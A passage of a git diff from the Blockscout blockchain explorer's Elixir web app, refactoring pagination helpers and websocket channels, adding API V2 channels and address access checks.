%{block_number: block_number} end - defp paging_params(%CoinBalance{block_number: block_number}) do - %{"block_number" => block_number} + defp paging_params(%SmartContract{address: %NotLoaded{}} = smart_contract) do + %{"smart_contract_id" => smart_contract.id} end - defp paging_params(%{ - address_hash: address_hash, - tx_hash: tx_hash, - block_hash: block_hash, - holder_count: holder_count, - name: name, - inserted_at: inserted_at, - type: type - }) do - inserted_at_datetime = DateTime.to_iso8601(inserted_at) + defp paging_params(%OptimismDeposit{l1_block_number: l1_block_number, l2_transaction_hash: l2_transaction_hash}) do + %{"l1_block_number" => l1_block_number, "transaction_hash" => l2_transaction_hash} + end + + defp paging_params(%OptimismOutputRoot{l2_output_index: index}) do + %{"index" => index} + end + defp paging_params(%OptimismInteropMessage{timestamp: timestamp, init_transaction_hash: init_transaction_hash}) do + %{"timestamp" => DateTime.to_unix(timestamp), "init_transaction_hash" => init_transaction_hash} + end + + defp paging_params(%SmartContract{} = smart_contract) do %{ - "address_hash" => address_hash, - "tx_hash" => tx_hash, - "block_hash" => block_hash, - "holder_count" => holder_count, - "name" => name, - "inserted_at" => inserted_at_datetime, - "item_type" => type + "smart_contract_id" => smart_contract.id, + "transactions_count" => smart_contract.address.transactions_count, + "coin_balance" => + smart_contract.address.fetched_coin_balance && Wei.to(smart_contract.address.fetched_coin_balance, :wei) } end - defp block_or_transaction_from_param(param) do - with {:error, :not_found} <- transaction_from_param(param) do - hash_string_to_block(param) + defp paging_params(%ScrollBridge{index: id}) do + %{"id" => id} + end + + defp paging_params(%{index: index}) do + %{"index" => index} + end + + defp paging_params(%Withdrawal{index: index}) do + %{index: index} + end + + defp paging_params(%{msg_nonce: nonce}) do + %{"nonce" => nonce} + end + + defp paging_params(%{l2_block_number: block_number}) do + %{"block_number" => block_number} + end + + # clause for zkEVM & Scroll batches pagination + defp paging_params(%{number: number}) do + %{"number" => number} + end + + defp paging_params(%Instance{token_id: token_id}) do + %{"unique_token" => Decimal.to_integer(token_id)} + end + + defp paging_params(%StateChange{}) do + %{"state_changes" => nil} + end + + # clause for Polygon Edge Deposits and Withdrawals + defp paging_params(%{msg_id: msg_id}) do + %{"id" => msg_id} + end + + # clause for Shibarium Deposits + defp paging_params(%{l1_block_number: block_number}) do + %{"block_number" => block_number} + end + + # clause for Shibarium Withdrawals + defp paging_params(%{l2_block_number: block_number}) do + %{"block_number" => block_number} + end + + @spec paging_params_with_fiat_value(CurrentTokenBalance.t()) :: %{ + required(atom()) => Decimal.t() | non_neg_integer() | nil + } + def paging_params_with_fiat_value(%CurrentTokenBalance{id: id, value: value} = ctb) do + %{fiat_value: ctb.fiat_value, value: value, id: id} + end + + defp block_or_transaction_or_operation_or_blob_from_param(param) do + with {:ok, hash} <- string_to_full_hash(param), + {:error, :not_found} <- hash_to_transaction(hash), + {:error, :not_found} <- hash_to_block(hash), + {:error, :not_found} <- hash_to_user_operation(hash), + {:error, :not_found} <- hash_to_blob(hash) do + {:error, :not_found} + else + :error -> {:error, :not_found} + res -> res end end - defp transaction_from_param(param) do - case string_to_transaction_hash(param) do - {:ok, hash} -> - hash_to_transaction(hash) + defp hash_to_user_operation(hash) do + if UserOperation.enabled?() do + UserOperation.hash_to_user_operation(hash) + else + {:error, :not_found} + end + end - :error -> - {:error, :not_found} + defp hash_to_blob(hash) do + if Application.get_env(:explorer, :chain_type) == :ethereum do + BeaconReader.blob(hash, false) + else + {:error, :not_found} + end + end + + def unique_tokens_paging_options(%{"unique_token" => token_id}), + do: [paging_options: %{default_paging_options() | key: {token_id}}] + + def unique_tokens_paging_options(_params), do: [paging_options: default_paging_options()] + + def unique_tokens_next_page([], _list, _params), do: nil + + def unique_tokens_next_page(_, list, params) do + Map.merge(params, paging_params(List.last(list))) + end + + def token_transfers_next_page_params([], _list, _params), do: nil + + def token_transfers_next_page_params(next_page, list, params) do + next_token_transfer = List.first(next_page) + current_token_transfer = List.last(list) + + if next_token_transfer.log_index == current_token_transfer.log_index and + next_token_transfer.block_hash == current_token_transfer.block_hash and + next_token_transfer.transaction_hash == current_token_transfer.transaction_hash do + new_params = + list + |> last_token_transfer_before_current(current_token_transfer) + |> (&if(is_nil(&1), do: %{}, else: paging_params(&1))).() + + string_keys = map_to_string_keys(new_params) + + params + |> delete_parameters_from_next_page_params() + |> Map.drop(["batch_log_index", "batch_block_hash", "batch_transaction_hash", "index_in_batch" | string_keys]) + |> Map.merge(new_params) + |> Map.merge(%{ + batch_log_index: current_token_transfer.log_index, + batch_block_hash: current_token_transfer.block_hash, + batch_transaction_hash: current_token_transfer.transaction_hash, + index_in_batch: current_token_transfer.index_in_batch + }) + else + new_params = paging_params(List.last(list)) + + string_keys = map_to_string_keys(new_params) + + params + |> delete_parameters_from_next_page_params() + |> Map.drop(["batch_log_index", "batch_block_hash", "batch_transaction_hash", "index_in_batch" | string_keys]) + |> Map.merge(new_params) end end - defp hash_string_to_block(hash_string) do - case string_to_block_hash(hash_string) do + defp last_token_transfer_before_current(list, current_token_transfer) do + Enum.reduce_while(list, nil, fn tt, acc -> + if tt.log_index == current_token_transfer.log_index and tt.block_hash == current_token_transfer.block_hash and + tt.transaction_hash == current_token_transfer.transaction_hash do + {:halt, acc} + else + {:cont, tt} + end + end) + end + + def parse_block_hash_or_number_param("0x" <> _ = param) do + case string_to_full_hash(param) do {:ok, hash} -> - hash_to_block(hash) + {:ok, :hash, hash} :error -> - {:error, :not_found} + {:error, {:invalid, :hash}} end end + + def parse_block_hash_or_number_param(number_string) + when is_binary(number_string) do + case param_to_block_number(number_string) do + {:ok, number} -> + {:ok, :number, number} + + {:error, :invalid} -> + {:error, {:invalid, :number}} + end + end + + @doc """ + Fetches the scam token toggle from conn.cookies["show_scam_tokens"]. And put it to the params keyword. + + ## Parameters + + - params: Initial params to append scam token toggle info. + - conn: The connection. + + ## Returns + + Provided params keyword with the new field `show_scam_tokens?`. + """ + @spec fetch_scam_token_toggle(Keyword.t(), Plug.Conn.t()) :: Keyword.t() + def fetch_scam_token_toggle(params, conn), + do: Keyword.put(params, :show_scam_tokens?, conn.cookies["show_scam_tokens"] |> parse_boolean()) + + defp map_to_string_keys(map) do + map + |> Map.keys() + |> Enum.map(fn + key when is_atom(key) -> Atom.to_string(key) + key -> key + end) + end end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/address_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/address_channel.ex index 00eb13bf5f66..e09626a5ec8b 100644 --- a/apps/block_scout_web/lib/block_scout_web/channels/address_channel.ex +++ b/apps/block_scout_web/lib/block_scout_web/channels/address_channel.ex @@ -3,6 +3,9 @@ defmodule BlockScoutWeb.AddressChannel do Establishes pub/sub channel for address page live updates. """ use BlockScoutWeb, :channel + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] alias BlockScoutWeb.{ AddressCoinBalanceView, @@ -14,7 +17,6 @@ defmodule BlockScoutWeb.AddressChannel do alias Explorer.{Chain, Market, Repo} alias Explorer.Chain.{Hash, Transaction, Wei} alias Explorer.Chain.Hash.Address, as: AddressHash - alias Explorer.ExchangeRates.Token alias Phoenix.View intercept([ @@ -28,18 +30,24 @@ defmodule BlockScoutWeb.AddressChannel do "pending_transaction" ]) - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash - def join("addresses:" <> address_hash, _params, socket) do - {:ok, %{}, assign(socket, :address_hash, address_hash)} + def join("addresses_old:" <> address_hash_string, _params, socket) do + case valid_address_hash_and_not_restricted_access?(address_hash_string) do + :ok -> + {:ok, %{}, assign(socket, :address_hash, address_hash_string)} + + reason -> + {:error, %{reason: reason}} + end end def handle_in("get_balance", _, socket) do with {:ok, casted_address_hash} <- AddressHash.cast(socket.assigns.address_hash), {:ok, address = %{fetched_coin_balance: balance}} when not is_nil(balance) <- Chain.hash_to_address(casted_address_hash), - exchange_rate <- Market.get_exchange_rate(Explorer.coin()) || Token.null(), + exchange_rate <- Market.get_coin_exchange_rate(), {:ok, rendered} <- render_balance_card(address, exchange_rate, socket) do reply = {:ok, @@ -82,6 +90,9 @@ defmodule BlockScoutWeb.AddressChannel do push(socket, "verification", %{verification_result: :ok}) {:noreply, socket} + {:error, %Ecto.Changeset{}} -> + {:noreply, socket} + {:error, result} -> push(socket, "verification", %{verification_result: result}) {:noreply, socket} @@ -120,24 +131,24 @@ defmodule BlockScoutWeb.AddressChannel do def handle_out("token_transfer", data, socket), do: handle_token_transfer(data, socket, "token_transfer") - def handle_out("coin_balance", %{block_number: block_number}, socket) do - coin_balance = Chain.get_coin_balance(socket.assigns.address_hash, block_number) - + def handle_out("coin_balance", %{block_number: block_number, coin_balance: coin_balance}, socket) do Gettext.put_locale(BlockScoutWeb.Gettext, socket.assigns.locale) - rendered_coin_balance = - View.render_to_string( - AddressCoinBalanceView, - "_coin_balances.html", - conn: socket, - coin_balance: coin_balance - ) + if coin_balance.value && coin_balance.delta do + rendered_coin_balance = + View.render_to_string( + AddressCoinBalanceView, + "_coin_balances.html", + conn: socket, + coin_balance: coin_balance + ) - push(socket, "coin_balance", %{ - coin_balance_html: rendered_coin_balance - }) + push(socket, "coin_balance", %{ + coin_balance_html: rendered_coin_balance + }) - push_current_coin_balance(socket, block_number, coin_balance) + push_current_coin_balance(socket, block_number, coin_balance) + end {:noreply, socket} end @@ -154,7 +165,7 @@ defmodule BlockScoutWeb.AddressChannel do conn: socket, address: Chain.hash_to_address(hash), coin_balance: (coin_balance && coin_balance.value) || %Wei{value: Decimal.new(0)}, - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null() + exchange_rate: Market.get_coin_exchange_rate() ) rendered_link = @@ -172,7 +183,11 @@ defmodule BlockScoutWeb.AddressChannel do }) end - def handle_transaction(%{address: address, transaction: transaction}, socket, event) do + def handle_transaction( + %{address: address, transaction: transaction}, + %Phoenix.Socket{handler: BlockScoutWeb.UserSocket} = socket, + event + ) do Gettext.put_locale(BlockScoutWeb.Gettext, socket.assigns.locale) rendered = @@ -195,13 +210,27 @@ defmodule BlockScoutWeb.AddressChannel do {:noreply, socket} end - def handle_token_transfer(%{address: address, token_transfer: token_transfer}, socket, event) do + def handle_transaction(_, socket, _event) do + {:noreply, socket} + end + + def handle_token_transfer( + %{address: address, token_transfer: token_transfer}, + %Phoenix.Socket{handler: BlockScoutWeb.UserSocket} = socket, + event + ) do Gettext.put_locale(BlockScoutWeb.Gettext, socket.assigns.locale) transaction = Transaction |> Repo.get_by(hash: token_transfer.transaction_hash) - |> Repo.preload([:from_address, :to_address, :block, token_transfers: [:from_address, :to_address, :token]]) + |> Repo.preload([ + :from_address, + :to_address, + :block, + :created_contract_address, + token_transfers: [:from_address, :to_address, :token] + ]) rendered = View.render_to_string( @@ -223,6 +252,10 @@ defmodule BlockScoutWeb.AddressChannel do {:noreply, socket} end + def handle_token_transfer(_, socket, _event) do + {:noreply, socket} + end + defp render_balance_card(address, exchange_rate, socket) do Gettext.put_locale(BlockScoutWeb.Gettext, socket.assigns.locale) diff --git a/apps/block_scout_web/lib/block_scout_web/channels/arbitrum_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/arbitrum_channel.ex new file mode 100644 index 000000000000..27bc00e8b2ea --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/arbitrum_channel.ex @@ -0,0 +1,14 @@ +defmodule BlockScoutWeb.ArbitrumChannel do + @moduledoc """ + Establishes pub/sub channel for live updates of Arbitrum related events. + """ + use BlockScoutWeb, :channel + + def join("arbitrum:new_batch", _params, socket) do + {:ok, %{}, socket} + end + + def join("arbitrum:new_messages_to_rollup_amount", _params, socket) do + {:ok, %{}, socket} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/block_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/block_channel.ex index cea7e4410420..ba2ea3fd571c 100644 --- a/apps/block_scout_web/lib/block_scout_web/channels/block_channel.ex +++ b/apps/block_scout_web/lib/block_scout_web/channels/block_channel.ex @@ -9,11 +9,11 @@ defmodule BlockScoutWeb.BlockChannel do intercept(["new_block"]) - def join("blocks:new_block", _params, socket) do + def join("blocks_old:new_block", _params, socket) do {:ok, %{}, socket} end - def join("blocks:" <> _miner_address, _params, socket) do + def join("blocks_old:" <> _miner_address, _params, socket) do {:ok, %{}, socket} end @@ -36,7 +36,8 @@ defmodule BlockScoutWeb.BlockChannel do ) push(socket, "new_block", %{ - average_block_time: Timex.format_duration(average_block_time, Explorer.Counters.AverageBlockTimeDurationFormat), + average_block_time: + Timex.format_duration(average_block_time, Explorer.Chain.Cache.Counters.Helper.AverageBlockTimeDurationFormat), chain_block_html: rendered_chain_block, block_html: rendered_block, block_number: block.number, diff --git a/apps/block_scout_web/lib/block_scout_web/channels/exchange_rate_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/exchange_rate_channel.ex index 13569b83999e..1654d951be40 100644 --- a/apps/block_scout_web/lib/block_scout_web/channels/exchange_rate_channel.ex +++ b/apps/block_scout_web/lib/block_scout_web/channels/exchange_rate_channel.ex @@ -1,21 +1,10 @@ defmodule BlockScoutWeb.ExchangeRateChannel do @moduledoc """ - Establishes pub/sub channel for address page live updates. + Establishes pub/sub channel for exchange rate live updates. """ use BlockScoutWeb, :channel - intercept(["new_rate"]) - - def join("exchange_rate:new_rate", _params, socket) do + def join("exchange_rate_old:new_rate", _params, socket) do {:ok, %{}, socket} end - - def handle_out("new_rate", %{exchange_rate: exchange_rate, market_history_data: market_history_data}, socket) do - push(socket, "new_rate", %{ - exchange_rate: exchange_rate, - market_history_data: market_history_data - }) - - {:noreply, socket} - end end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/optimism_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/optimism_channel.ex new file mode 100644 index 000000000000..64fcb7e64bdb --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/optimism_channel.ex @@ -0,0 +1,14 @@ +defmodule BlockScoutWeb.OptimismChannel do + @moduledoc """ + Establishes pub/sub channel for live updates of OP related events. + """ + use BlockScoutWeb, :channel + + def join("optimism:new_batch", _params, socket) do + {:ok, %{}, socket} + end + + def join("optimism:new_deposits", _params, socket) do + {:ok, %{}, socket} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/reward_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/reward_channel.ex index 6f6ff3a70bc3..1ab1c5ff0437 100644 --- a/apps/block_scout_web/lib/block_scout_web/channels/reward_channel.ex +++ b/apps/block_scout_web/lib/block_scout_web/channels/reward_channel.ex @@ -10,10 +10,15 @@ defmodule BlockScoutWeb.RewardChannel do intercept(["new_reward"]) - def join("rewards:" <> address_hash, _params, socket) do - with {:ok, hash} <- Chain.string_to_address_hash(address_hash), - {:ok, address} <- Chain.hash_to_address(hash) do - {:ok, %{}, assign(socket, :current_address, address)} + def join("rewards_old:" <> address_hash_string, _params, socket) do + case valid_address_hash_and_not_restricted_access?(address_hash_string) do + :ok -> + {:ok, address_hash} = Chain.string_to_address_hash(address_hash_string) + {:ok, address} = Chain.hash_to_address(address_hash) + {:ok, %{}, assign(socket, :current_address, address)} + + reason -> + {:error, %{reason: reason}} end end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/token_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/token_channel.ex index 2d3ef58d3b12..13b4db343a08 100644 --- a/apps/block_scout_web/lib/block_scout_web/channels/token_channel.ex +++ b/apps/block_scout_web/lib/block_scout_web/channels/token_channel.ex @@ -4,25 +4,28 @@ defmodule BlockScoutWeb.TokenChannel do """ use BlockScoutWeb, :channel + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + alias BlockScoutWeb.{CurrencyHelper, TokensView} alias BlockScoutWeb.Tokens.TransferView alias Explorer.Chain alias Explorer.Chain.Hash alias Phoenix.View - intercept(["token_transfer"]) + intercept(["token_transfer", "token_total_supply"]) - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash - def join("tokens:new_token_transfer", _params, socket) do - {:ok, %{}, socket} - end - - def join("tokens:" <> _transaction_hash, _params, socket) do + def join("tokens_old:" <> _transaction_hash, _params, socket) do {:ok, %{}, socket} end - def handle_out("token_transfer", %{token_transfer: token_transfer}, socket) do + def handle_out( + "token_transfer", + %{token_transfer: token_transfer}, + %Phoenix.Socket{handler: BlockScoutWeb.UserSocket} = socket + ) do Gettext.put_locale(BlockScoutWeb.Gettext, socket.assigns.locale) rendered_token_transfer = @@ -42,4 +45,20 @@ defmodule BlockScoutWeb.TokenChannel do {:noreply, socket} end + + def handle_out("token_transfer", _, socket) do + {:noreply, socket} + end + + def handle_out("token_total_supply", %{token: token}, socket) do + push(socket, "total_supply", %{ + total_supply: + if(TokensView.decimals?(token), + do: CurrencyHelper.format_according_to_decimals(token.total_supply, token.decimals), + else: CurrencyHelper.format_integer_to_currency(token.total_supply) + ) + }) + + {:noreply, socket} + end end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/token_instance_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/token_instance_channel.ex new file mode 100644 index 000000000000..4b2be335caca --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/token_instance_channel.ex @@ -0,0 +1,10 @@ +defmodule BlockScoutWeb.TokenInstanceChannel do + @moduledoc """ + Establishes pub/sub channel for live updates of token instances events. + """ + use BlockScoutWeb, :channel + + def join("token_instances:" <> _token_contract_address_hash, _params, socket) do + {:ok, %{}, socket} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/transaction_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/transaction_channel.ex index ac1085ea29c1..75a0130a782f 100644 --- a/apps/block_scout_web/lib/block_scout_web/channels/transaction_channel.ex +++ b/apps/block_scout_web/lib/block_scout_web/channels/transaction_channel.ex @@ -4,33 +4,39 @@ defmodule BlockScoutWeb.TransactionChannel do """ use BlockScoutWeb, :channel - alias BlockScoutWeb.TransactionView + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + alias BlockScoutWeb.{TransactionRawTraceView, TransactionView} alias Explorer.Chain - alias Explorer.Chain.Hash + alias Explorer.Chain.{Hash, InternalTransaction} alias Phoenix.View - intercept(["pending_transaction", "transaction"]) + intercept(["pending_transaction", "transaction", "raw_trace"]) - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash - def join("transactions:new_transaction", _params, socket) do + def join("transactions_old:new_transaction", _params, socket) do {:ok, %{}, socket} end - def join("transactions:new_pending_transaction", _params, socket) do + def join("transactions_old:new_pending_transaction", _params, socket) do {:ok, %{}, socket} end - def join("transactions:stats", _params, socket) do + def join("transactions_old:stats", _params, socket) do {:ok, %{}, socket} end - def join("transactions:" <> _transaction_hash, _params, socket) do + def join("transactions_old:" <> _transaction_hash, _params, socket) do {:ok, %{}, socket} end - def handle_out("pending_transaction", %{transaction: transaction}, socket) do + def handle_out( + "pending_transaction", + %{transaction: transaction}, + %Phoenix.Socket{handler: BlockScoutWeb.UserSocket} = socket + ) do Gettext.put_locale(BlockScoutWeb.Gettext, socket.assigns.locale) rendered_transaction = @@ -50,7 +56,15 @@ defmodule BlockScoutWeb.TransactionChannel do {:noreply, socket} end - def handle_out("transaction", %{transaction: transaction}, socket) do + def handle_out("pending_transaction", _, socket) do + {:noreply, socket} + end + + def handle_out( + "transaction", + %{transaction: transaction}, + %Phoenix.Socket{handler: BlockScoutWeb.UserSocket} = socket + ) do Gettext.put_locale(BlockScoutWeb.Gettext, socket.assigns.locale) rendered_transaction = @@ -69,4 +83,28 @@ defmodule BlockScoutWeb.TransactionChannel do {:noreply, socket} end + + def handle_out("transaction", _, socket) do + {:noreply, socket} + end + + def handle_out( + "raw_trace", + %{raw_trace_origin: transaction_hash}, + socket + ) do + internal_transactions = InternalTransaction.all_transaction_to_internal_transactions(transaction_hash) + + push(socket, "raw_trace", %{ + raw_trace: + View.render_to_string( + TransactionRawTraceView, + "_card_body.html", + internal_transactions: internal_transactions, + conn: socket + ) + }) + + {:noreply, socket} + end end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/user_socket.ex b/apps/block_scout_web/lib/block_scout_web/channels/user_socket.ex index 6060428a7981..213e5d447a47 100644 --- a/apps/block_scout_web/lib/block_scout_web/channels/user_socket.ex +++ b/apps/block_scout_web/lib/block_scout_web/channels/user_socket.ex @@ -1,13 +1,14 @@ defmodule BlockScoutWeb.UserSocket do use Phoenix.Socket - use Absinthe.Phoenix.Socket, schema: BlockScoutWeb.Schema + use Absinthe.Phoenix.Socket, schema: BlockScoutWeb.GraphQL.Schema - channel("addresses:*", BlockScoutWeb.AddressChannel) - channel("blocks:*", BlockScoutWeb.BlockChannel) - channel("exchange_rate:*", BlockScoutWeb.ExchangeRateChannel) - channel("rewards:*", BlockScoutWeb.RewardChannel) - channel("transactions:*", BlockScoutWeb.TransactionChannel) - channel("tokens:*", BlockScoutWeb.TokenChannel) + channel("addresses_old:*", BlockScoutWeb.AddressChannel) + channel("blocks_old:*", BlockScoutWeb.BlockChannel) + channel("exchange_rate_old:*", BlockScoutWeb.ExchangeRateChannel) + channel("rewards_old:*", BlockScoutWeb.RewardChannel) + channel("transactions_old:*", BlockScoutWeb.TransactionChannel) + channel("tokens_old:*", BlockScoutWeb.TokenChannel) + channel("token_instances_old:*", BlockScoutWeb.TokenInstanceChannel) def connect(%{"locale" => locale}, socket) do {:ok, assign(socket, :locale, locale)} diff --git a/apps/block_scout_web/lib/block_scout_web/channels/v2/address_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/v2/address_channel.ex new file mode 100644 index 000000000000..44616a930b1d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/v2/address_channel.ex @@ -0,0 +1,16 @@ +defmodule BlockScoutWeb.V2.AddressChannel do + @moduledoc """ + Establishes pub/sub channel for address page live updates for API V2. + """ + use BlockScoutWeb, :channel + + def join("addresses:" <> address_hash_string, _params, socket) do + case valid_address_hash_and_not_restricted_access?(address_hash_string) do + :ok -> + {:ok, %{}, assign(socket, :address_hash, address_hash_string)} + + reason -> + {:error, %{reason: reason}} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/v2/block_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/v2/block_channel.ex new file mode 100644 index 000000000000..8e5202ecd4a6 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/v2/block_channel.ex @@ -0,0 +1,18 @@ +defmodule BlockScoutWeb.V2.BlockChannel do + @moduledoc """ + Establishes pub/sub channel for live updates of block events for API V2. + """ + use BlockScoutWeb, :channel + + def join("blocks:" <> common, _params, socket) + when common in ["new_block", "indexing", "indexing_internal_transactions"] do + {:ok, %{}, socket} + end + + def join("blocks:" <> miner_address, _params, socket) do + case valid_address_hash_and_not_restricted_access?(miner_address) do + :ok -> {:ok, %{}, socket} + reason -> {:error, %{reason: reason}} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/v2/exchange_rate_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/v2/exchange_rate_channel.ex new file mode 100644 index 000000000000..0f4a814f30c2 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/v2/exchange_rate_channel.ex @@ -0,0 +1,10 @@ +defmodule BlockScoutWeb.V2.ExchangeRateChannel do + @moduledoc """ + Establishes pub/sub channel for exchange rate live updates for API V2. + """ + use BlockScoutWeb, :channel + + def join("exchange_rate:new_rate", _params, socket) do + {:ok, %{}, socket} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/v2/polygon_zkevm_confirmed_batch_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/v2/polygon_zkevm_confirmed_batch_channel.ex new file mode 100644 index 000000000000..db658015ff00 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/v2/polygon_zkevm_confirmed_batch_channel.ex @@ -0,0 +1,10 @@ +defmodule BlockScoutWeb.V2.PolygonZkevmConfirmedBatchChannel do + @moduledoc """ + Establishes pub/sub channel for live updates of zkEVM confirmed batch events for API V2. + """ + use BlockScoutWeb, :channel + + def join("zkevm_batches:new_zkevm_confirmed_batch", _params, socket) do + {:ok, %{}, socket} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/v2/reward_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/v2/reward_channel.ex new file mode 100644 index 000000000000..616db07348aa --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/v2/reward_channel.ex @@ -0,0 +1,13 @@ +defmodule BlockScoutWeb.V2.RewardChannel do + @moduledoc """ + Establishes pub/sub channel for live updates of block reward events for API V2. + """ + use BlockScoutWeb, :channel + + def join("rewards:" <> address_hash_string, _params, socket) do + case valid_address_hash_and_not_restricted_access?(address_hash_string) do + :ok -> {:ok, %{}, socket} + reason -> {:error, %{reason: reason}} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/v2/token_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/v2/token_channel.ex new file mode 100644 index 000000000000..0e5d36e14459 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/v2/token_channel.ex @@ -0,0 +1,10 @@ +defmodule BlockScoutWeb.V2.TokenChannel do + @moduledoc """ + Establishes pub/sub channel for live updates of token transfer events for API V2. + """ + use BlockScoutWeb, :channel + + def join("tokens:" <> _transaction_hash, _params, socket) do + {:ok, %{}, socket} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/v2/transaction_channel.ex b/apps/block_scout_web/lib/block_scout_web/channels/v2/transaction_channel.ex new file mode 100644 index 000000000000..255416743af2 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/v2/transaction_channel.ex @@ -0,0 +1,22 @@ +defmodule BlockScoutWeb.V2.TransactionChannel do + @moduledoc """ + Establishes pub/sub channel for live updates of transaction events for API V2. + """ + use BlockScoutWeb, :channel + + def join("transactions:new_transaction", _params, socket) do + {:ok, %{}, socket} + end + + def join("transactions:new_pending_transaction", _params, socket) do + {:ok, %{}, socket} + end + + def join("transactions:stats", _params, socket) do + {:ok, %{}, socket} + end + + def join("transactions:" <> _transaction_hash, _params, socket) do + {:ok, %{}, socket} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/channels/v2/user_socket.ex b/apps/block_scout_web/lib/block_scout_web/channels/v2/user_socket.ex new file mode 100644 index 000000000000..dec4a541b74f --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/channels/v2/user_socket.ex @@ -0,0 +1,28 @@ +defmodule BlockScoutWeb.V2.UserSocket do + @moduledoc """ + Module to distinct new and old UI websocket connections + """ + use Phoenix.Socket + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + channel("addresses:*", BlockScoutWeb.V2.AddressChannel) + channel("blocks:*", BlockScoutWeb.V2.BlockChannel) + channel("exchange_rate:*", BlockScoutWeb.V2.ExchangeRateChannel) + channel("rewards:*", BlockScoutWeb.V2.RewardChannel) + channel("transactions:*", BlockScoutWeb.V2.TransactionChannel) + channel("tokens:*", BlockScoutWeb.V2.TokenChannel) + channel("token_instances:*", BlockScoutWeb.TokenInstanceChannel) + channel("zkevm_batches:*", BlockScoutWeb.V2.PolygonZkevmConfirmedBatchChannel) + + case @chain_type do + :arbitrum -> channel("arbitrum:*", BlockScoutWeb.ArbitrumChannel) + :optimism -> channel("optimism:*", BlockScoutWeb.OptimismChannel) + _ -> nil + end + + def connect(_params, socket) do + {:ok, socket} + end + + def id(_socket), do: nil +end diff --git a/apps/block_scout_web/lib/block_scout_web/checksum_address.ex b/apps/block_scout_web/lib/block_scout_web/checksum_address.ex index 660db06c4f6b..7aeeac2671eb 100644 --- a/apps/block_scout_web/lib/block_scout_web/checksum_address.ex +++ b/apps/block_scout_web/lib/block_scout_web/checksum_address.ex @@ -27,32 +27,39 @@ defmodule BlockScoutWeb.ChecksumAddress do if Application.get_env(:block_scout_web, :checksum_address_hashes) do case Chain.string_to_address_hash(id) do {:ok, address_hash} -> - checksummed_hash = Address.checksum(address_hash) + compose_conn(conn, address_hash, param_name, id) - if checksummed_hash != id do - conn = %{conn | params: Map.merge(conn.params, %{param_name => checksummed_hash})} + _ -> + conn + end + else + conn + end + end - path_with_checksummed_address = String.replace(conn.request_path, id, checksummed_hash) + defp compose_conn(conn, address_hash, param_name, id) do + checksummed_hash = Address.checksum(address_hash) - new_path = - if conn.query_string != "" do - path_with_checksummed_address <> "?" <> conn.query_string - else - path_with_checksummed_address - end + if checksummed_hash != id do + conn = %{conn | params: Map.merge(conn.params, %{param_name => checksummed_hash})} - conn - |> Controller.redirect(to: new_path |> BlockScoutWebController.full_path()) - |> halt - else - conn - end + path_with_checksummed_address = String.replace(conn.request_path, id, checksummed_hash) - _ -> - conn - end + new_path = compose_path(conn, path_with_checksummed_address) + + conn + |> Controller.redirect(to: new_path |> BlockScoutWebController.full_path()) + |> halt else conn end end + + defp compose_path(conn, path_with_checksummed_address) do + if conn.query_string != "" do + path_with_checksummed_address <> "?" <> conn.query_string + else + path_with_checksummed_address + end + end end diff --git a/apps/block_scout_web/lib/block_scout_web/controller.ex b/apps/block_scout_web/lib/block_scout_web/controller.ex index abdc89986592..3031f234cc8f 100644 --- a/apps/block_scout_web/lib/block_scout_web/controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controller.ex @@ -49,10 +49,20 @@ defmodule 